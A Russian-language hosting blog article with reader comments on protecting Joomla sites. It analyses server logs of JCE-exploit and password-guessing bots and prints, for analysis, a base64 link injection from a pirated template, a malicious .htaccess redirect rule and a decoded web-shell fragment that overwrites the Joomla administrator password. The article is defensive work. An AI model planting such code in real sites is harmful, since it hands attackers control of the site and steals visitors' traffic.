Защита сайта на Joomla

Защита сайта на Joomla, 5.0 из 5 основанный на 39 голосах.

Для того чтобы защитить свой сайт на CMS Joomla, необходимо проанализировать цели и действия взломщиков, а затем максимально усложнить им задачу. Я изучил логи Joomla сайтов, размещенных на нашем хостинге. Вот к какому выводу я пришел.



Цели взломщика

Их может быть много.

Перваяпридушить сайт конкурента. Для этого на сайт направляется огромное количество запросов посредством ресурсов botnet сети. В результате сервер не справляется с возросшей нагрузкой и происходит отказ в обслуживании.

Botnet сеть – сеть зараженных вирусами компьютеров, занимающаяся исполнением команд злоумышленника без ведома хозяина. Таких компьютеров в сети несчетное количество.

Блокирование подобного рода атак должно осуществляться администратором хостинга. Далеко не все хостинги способны противостоять подобного рода атакам.

Прочие цели достигаются подбором пароля к административной панели сайта или посредством «дыр» в сторонних расширениях роботами-взломщиками, с последующей вставкой вредоносного кода в CMS.

Втораязаразить персональные компьютеры посетителей или непосредственно сервер вирусом для вступления в botnet сеть.

Третьяперенаправление посетителей на какой-либо сторонний сайт. Владелец стороннего сайта платит за «слив» трафика взломщику.

Четвертая - блокировка операционных систем с требованием отправить смс на номер.

Пятаяподмена одной из страниц сайта на страницу с каким-либо текстом.


Заражение посредством «дыр»

Сама CMS Joomla хорошо продумана, найденные уязвимости быстро устраняются в очередном релизе. Важно отслеживать появление новых релизов и вовремя обновляться до последней версии. В CMS Joomla 2.5 и 3 для этого созданы все условия.

Немного иначе обстоит дело со сторонними расширениями. Интернет наполнен сайтами, предлагающими скачать и установить то или иное расширение с лелебита и прочих хранилищ. Думаю для многих не секрет, что подобные сервисы платят пользователю разместившему файл за скачивания, следовательно, целью размещения расширений, в подавляющем большинстве, является заработок. А как можно заработать еще больше? Разумеется, вставить в код расширения скрытый слив трафика или добавить ссылок на продвигаемые ресурсы. Не каждый скачавший с подобных ресурсов расширения может быстро обнаружить и устранить такие нововведения в коде. Рекомендую брать расширения с сайтов авторов, если это невозможно, тщательно проверять функционирование расширения, скаченное с сервера файлообмена. Кроме того, следить за обновлениями расширений и вовремя их производить.

Список уязвимых расширений для Joomla можно посмотреть на странице The Joomla! ® Vulnerable Extensions List

В качестве примера приведу лог - пример заражения посредством уязвимости редактора JCE

02.05.2013 14:44:21 +0400|118.96.89.45|/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b|direct link|BOT/0.1 (BOT for JCE)
02.05.2013 14:44:22 +0400|118.96.89.45|/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20|direct link|BOT/0.1 (BOT for JCE)

Вы можете увидеть готовый инструмент взлома www.bugreport.ir/78/exploit.htm для уязвимой версии редактора. Закачивается как бы изображение, а внутри файла не изображение, а PHP скрипт, переименовывается этот файл в PHP и исполняется вредоносный код. Поискав на форумах, можно найти уязвимости различных расширений.


Ссылки в шаблонах

Сколько раз я скачивал шаблоны, столько раз боролся с левыми ссылками в них. Вот вам пример кода файла макета контента

warp/systems/joomla/layouts/content.php
из скаченного шаблона «Yoo Cloud»
<jdoc:include type="message" />
<jdoc:include type="component" />
<?php $fjtj = 'PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGJvdHRvbTowcHg7IGxlZnQ6LTQyNDFweDsiPtCd0L7QstGL0LUgPGEgaHJlZj0iaHR0cDovL2dhbWVwYWtldC5uZXQvIiB0YXJnZXQ9Il9ibGFuayIgPtC40LPRgNGLIEFsYXdhcjwvYT4uPC9kaXY+'; echo base64_decode($fjtj);?>

Страниц с таким творческим подходом в шаблоне может быть очень много. Скопируйте значение, присваиваемое переменной в декодер http://www.artlebedev.ru/tools/decoder/ и взгляните что получится.

<div style="position:absolute; bottom:0px; left:-4241px;">Новые <a href="http://e-kzn.ru/" target="_blank"  class="underline">игры Alawar</a>.</div>

* Ссылка преднамеренно изменена, роботы поисковых систем посещают ресурсы, ссылки на которые содержатся даже в текстовом виде.

У меня создается впечатление, что предприниматели скачивают шаблоны с лелебита, вставляют свои ссылки, заливают на лелебит и дают ссылку на скачку. Через сколько таких умных голов прошел шаблон, столько вставок со ссылками мы и увидим.

Файл yoo_cloud_demo_package_j25.zip – 27 блоков со ссылками. Это 27 рационализаторов или один такой жадный?


Подбор пароля

Для противостояния атакам необходимо понять поведение взломщика. Из логов видно, что робот пытается определить тип CMS по характерным признакам

212.109.28.79 - - [04/Apr/2013:00:51:50 +0400] "GET /admin.php HTTP/1.0" 404 525 "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10"
212.109.28.79 - - [04/Apr/2013:00:51:50 +0400] "GET /administrator/index.php HTTP/1.0" 404 539 "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10"
212.109.28.79 - - [04/Apr/2013:00:51:50 +0400] "GET /wp-login.php HTTP/1.0" 404 528 "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10"

Здесь робот не нашел жертву, он получил страницу 404 ошибки и ушел дальше.

Вторая манера поведения, обращение робота к единственной страничке /administrator/index.php

94.137.52.61 - - [04/Apr/2013:07:29:17 +0400] "GET /administrator/index.php HTTP/1.1" 200 6070 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
94.137.52.61 - - [04/Apr/2013:07:29:17 +0400] "POST /administrator/index.php HTTP/1.1" 200 6291 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"

Страница вернула код ответа 200, жертва найдена, начинается тупой перебор паролей, который может идти часами, а то и сутками. Причем, робот занимается подбором пароля не единственного сайта, а может работать со списком. Но главное – он к вам обязательно вернется на следующий день для достижения поставленной цели.


Как обмануть робота - взломщика сайта

В первую очередь, обратите внимание на тот факт, что взломщику требуются привилегии Супер-пользователя. При установке CMS Joomla по умолчанию предлагает его имя admin. Измените это имя на произвольное. Если вы этого не сделали изначально, зайдите в менеджер пользователей административной панели и замените его. Этим вы значительно уменьшите шансы взломщику.

Изначально я установил плагин jlsecuremysite. Плагин, без указания ключа и значения, возвращает со страницы административной панели на главную страницу сайта. Таким образом, дальнейший перебор становится бесполезным. Но как показала практика – роботы не понимают бесполезность дальнейшего перебора и продолжают его, нагружая этим сервер.

188.242.66.239 - - [07/Apr/2013:00:14:56 +0400] "GET /administrator/index.php HTTP/1.1" 303 339 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:14:56 +0400] "GET / HTTP/1.1" 200 19846 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:14:59 +0400] "POST /administrator/index.php HTTP/1.1" 303 309 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:14:59 +0400] "GET / HTTP/1.1" 200 19765 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:15:02 +0400] "GET /administrator/index.php HTTP/1.1" 303 339 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:15:02 +0400] "GET / HTTP/1.1" 200 19846 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:15:04 +0400] "POST /administrator/index.php HTTP/1.1" 303 309 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:14:56 +0400] "GET /administrator/index.php HTTP/1.1" 303 339 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:14:56 +0400] "GET / HTTP/1.1" 200 19846 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:14:59 +0400] "POST /administrator/index.php HTTP/1.1" 303 309 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:14:59 +0400] "GET / HTTP/1.1" 200 19765 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:15:02 +0400] "GET /administrator/index.php HTTP/1.1" 303 339 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:15:02 +0400] "GET / HTTP/1.1" 200 19846 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
188.242.66.239 - - [07/Apr/2013:00:15:04 +0400] "POST /administrator/index.php HTTP/1.1" 303 309 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"

В результате я решил поменять идеологию, а именно не возвращать роботов на главную страницу, а выдавать страницу ошибки 404. Роботы стали уходить на ресурсы более радушных хозяев.


Что еще можно сделать для защиты

Каптча

Есть мнения, что можно изменить код формы авторизации, вставив в нее каптчу. Человек ручками более десятка раз перебор пароля делать не станет. Робота же каптча не остановит, он будет слать бесполезные запросы, нагружая при этом сервер.

Тег Meta Generator

Система при генерации страниц вставляет в код тег

<meta name="generator" content="Joomla! - Open Source Content Management" />
.

Неоднократно читал рекомендации о том, как его убрать в целях сокрытия типа CMS. Это бесполезное занятие. Этим вы только обманите 2ip.ru и не более того. А если кроме возврата ошибки 404 по адресу административной части сайта вставить в корень сайта пустой файл с именем wp-login.php, поверьте – этот воспеваемый школьниками-хакерами чудо-сервис скажет «WordPress найдены признаки использования, Joomla признаков использования не найдено».

Обманывать грамотного человека бесполезно. CMS Joomla имеет множество характерных признаков. Можно легко узнать версию установленной Joomla 1.6/1.7/2.5/3.

Адрес сайта:

Покажу самую малую часть признаков.

Признаки в иконках

Если не удалены стандартные шаблоны, или в шаблоне остались стандартные иконки Joomla

http://e-kzn.ru/administrator/templates/bluestork/favicon.ico
http://e-kzn.ru/templates/atomic/favicon.ico
http://e-kzn.ru/templates/beez5/favicon.ico
http://e-kzn.ru/templates/beez_20/favicon.ico

Признаки в директориях

http://e-kzn.ru/images/powered_by.png и прочие, входящие в стандартную поставку.

Файлы в корне сайта

http://e-kzn.ru/robots.txt
http://e-kzn.ru/README.txt
http://e-kzn.ru/LICENSE.txt
http://e-kzn.ru/htaccess.txt

Код страницы

Шаблоны лежат в папке templates, большинство расширений имеют в названии сочетание joom.


Типичные признаки взлома сайта на CMS Joomla

Визуальные признаки взлома могут выглядеть как:

  • Надпись вида «By GoLD» вместо контента, ну или другая аналогичная глупость.
  • При заходе на любую страницу сайта вас перенаправят на «левый» сайт.
  • Некоторые файлы CMS Joomla могут иметь дату и время создания на момент взлома.
  • В худшем случае, что вы ничего подозрительного не заметите.

В последнем случае вы все узнаете из статистики посещаемости ресурса и от Яндекса по надписи «Сайт может угрожать безопасности вашего компьютера или мобильного устройства» в поисковой выдаче. В выдаче, в конце концов, останется только главная страница сайта. Чем быстрее вы ликвидируете последствия взлома, тем больше шансов не вылететь из индекса.

Что делают взломщики с взломанным сайтом

  • Простая замена файла index.php в корне сайта. При этом при заходе на главную страницу сайта отображается чистая страница, либо какое-либо содержимое, отличное от вашего контента.
  • Вставка в коды CMS, шаблонов, плагинов, модулей и компонентов (по сути это некоторые или все php файлы) кода перенаправления на сторонние ресурсы для слива трафика.
  • Запись директивы перенаправления на сторонний ресурс в файле .htaccess.
  • Запись во вложенные папки php файлов, позволяющих осуществлять доступ к файловой системе для осуществления контроля над сайтом.

Пример директивы перенаправления в файле .htaccess

RewriteRule (.*) http://e-kzn.ru [L,R=302]

* Ссылка преднамеренно изменена, роботы поисковых систем посещают ресурсы, ссылки на которые содержатся даже в текстовом виде.

Пример замены файла index.php

Пример замены файла index.php Пример замены файла index.php

Пример вставки вредоносного кода

Можно быстро посмотреть этот код декодером в разделе инвентаря на сайте Артемия Лебедева http://www.artlebedev.ru/tools/decoder или странице весьма полезного инструмента - Hex Decoder http://ddecode.com/hexdecoder/. Скопируйте код заключенный в кавычки в форму.

Пример вставки вредоносного кода Пример вставки вредоносного кода Декодирование вредоносного кода Декодирование вредоносного кода

Еще случай вставки, поведение аналогичное, но кроме роботов перенаправляются мобильные устройства.

Пример вставки вредоносного кода Пример вставки вредоносного кода

Учтите тот факт, что вредоносный код может располагаться во всех php файлах и содержаться в каждом из них множество раз. Как видно из расшифрованного кода, для роботов поисковиков и для результатов выдачи вместо сайта жертвы будет представлен сайт взломщика. Посетители, пришедшие на страницу не из поисковой системы, увидят вашу оригинальную страницу.

Запись во вложенные папки

Маскировка php скрипта под картинку в директории images/stories. Скрипт позволяет исполнить любой код, переданный в запросе GET/POST. Взломщик может получить полный контроль над файлами CMS и базой данных.

Запись вредоносного кода во вложенные папки Запись вредоносного кода во вложенные папки

Еще один пример. Веб-шелл спрятанный глубоко во вложенные папки. Работает с Joomla, Wordpess и еще какими-то CMS. Он представляет собою 2239 строк php, обладает большими возможностями:

  • known vulnerability (i.e. unpatched system)
  • undisclosed (new) vulnerability
  • configuration / admin. mistake
  • brute force attack
  • social engineering
  • Web Server intrusion
  • Web Server external module intrusion
  • Mail Server intrusion
  • FTP Server intrusion
  • SSH Server intrusion
  • Telnet Server intrusion
  • RPC Server intrusion
  • Shares misconfiguration
  • Other Server intrusion
  • SQL Injection
  • URL Poisoning
  • File Inclusion
  • Other Web Application bug
  • Remote administrative panel access bruteforcing
  • Remote administrative panel access password guessing
  • Remote administrative panel access social engineering
  • Attack against administrator(password stealing/sniffing)
  • Access credentials through Man In the Middle attack
  • Remote service password guessing
  • Remote service password bruteforce
  • Rerouting after attacking the Firewall
  • Rerouting after attacking the Router
  • DNS attack through social engineering
  • DNS attack through cache poisoning

Фрагмент декодированного кода, он добавляет администратора в CMS Joomla:

mysql_connect("localhost","$user","$pass");
mysql_select_db("$db");
$sor = mysql_query("select * from jos_users order by id ASC limit 1");
echo mysql_error();
$sonuc = mysql_fetch_array($sor);
$adminid = $sonuc['id'];
$admin = $sonuc['username'];
$guncelle = mysql_query("update jos_users set password = '$joomhash' where id='$adminid'");
if($guncelle){
        echo 'Completed.... JOOMLA-ADMIN : '.$admin.'  | JOOMLA-PASSWORD : ayaz';
}else{
        echo mysql_error();
}
Веб-шелл спрятанный глубоко во вложенные папки Веб-шелл спрятанный глубоко во вложенные папки

Выявление скрытых редиректов на страницах сайта

Увидеть скрытые редиректы на страницах сайта поможет ниже приведенная форма. Скрипт посмотрит на страницу глазами поисковых роботов, пользователей и мобильных устройств.

Адрес страницы:


Если эта статья показалась вам полезной, пожалуйста, проголосуйте за нее. Это поможет другим быстрее найти эту статью из множества других менее полезных.
( 39 Голосов ) 

Комментарии   

 
# Юрий 06.09.2013 01:08
А еще Джумлу можно определить по позициям в шаблона, если не скрыто site.ru/?tp=1
Ответить | Ответить с цитатой | Цитировать
 
 
# Ковенко В.Б. 07.09.2013 10:33
Просмотр позиций по умолчанию выключен, да и речь идет про ботов, которые не могут видеть их.
Ответить | Ответить с цитатой | Цитировать
 
 
# Татьяна 15.10.2013 11:42
Добрый день,
Если при выявлении скрытых редиректов обнаруженo:
Посетитель с Google: 302 Перенаправление на site.com/a42sjcw
что и где искать и какие действия предпринять? Спасибо.
Ответить | Ответить с цитатой | Цитировать
 
 
# Ковенко В.Б. 15.10.2013 19:27
Адрес своего сайта напишите
Ответить | Ответить с цитатой | Цитировать
 
 
# Ковенко В.Б. 17.10.2013 08:51
Первый сайт точно заражен, необходимо лечить e-kzn.ru/joomla/dostup-i-bezopasnost/kak-udalit-vredonosnyi-kod-s-saita-joomla.html

Второй возвращает HTTP/1.1 500 Internal Server Error (проверить ответ сервера), сначала надо разобраться почему возникает ошибка "не найдено представление".
Ответить | Ответить с цитатой | Цитировать
 
 
# Татьяна 18.10.2013 11:39
спасибо за комментарии! у меня были заражены все, сканировала их одной из php программок, искала и удаляла коды руками, видимо, недостаточно хорошо у меня это получилось... буду действовать по вашим рекомендациям. Так как второй сайт у меня "арестован" яндексом, хотя вроде бы на нем ничего не видно, может это как-то связано с этой ошибкой. Буду проверять свои сайты и писать в тех.поддержку хостинга.
Ответить | Ответить с цитатой | Цитировать
 
 
# Александр 28.10.2013 13:04
В разделе "Как обмануть робота - взломщика сайта" вы указали что можно перенаправить робота на страницу ошибки 404. Подскажите пожалуйста как это сделать.
Ответить | Ответить с цитатой | Цитировать
 
 
# Ковенко В.Б. 29.10.2013 11:59
На странице с плагином jlsecuremysite в комментариях я писал, прочтите.
Ответить | Ответить с цитатой | Цитировать
 

Добавить комментарий

Уважаемые посетители!
Комментарии модерируются, активные ссылки на сайты не публикуются. Пожалуйста, не тратьте понапрасну свое и мое время на попытку размещения спамерских ссылок.
Спасибо.


Защитный код
Обновить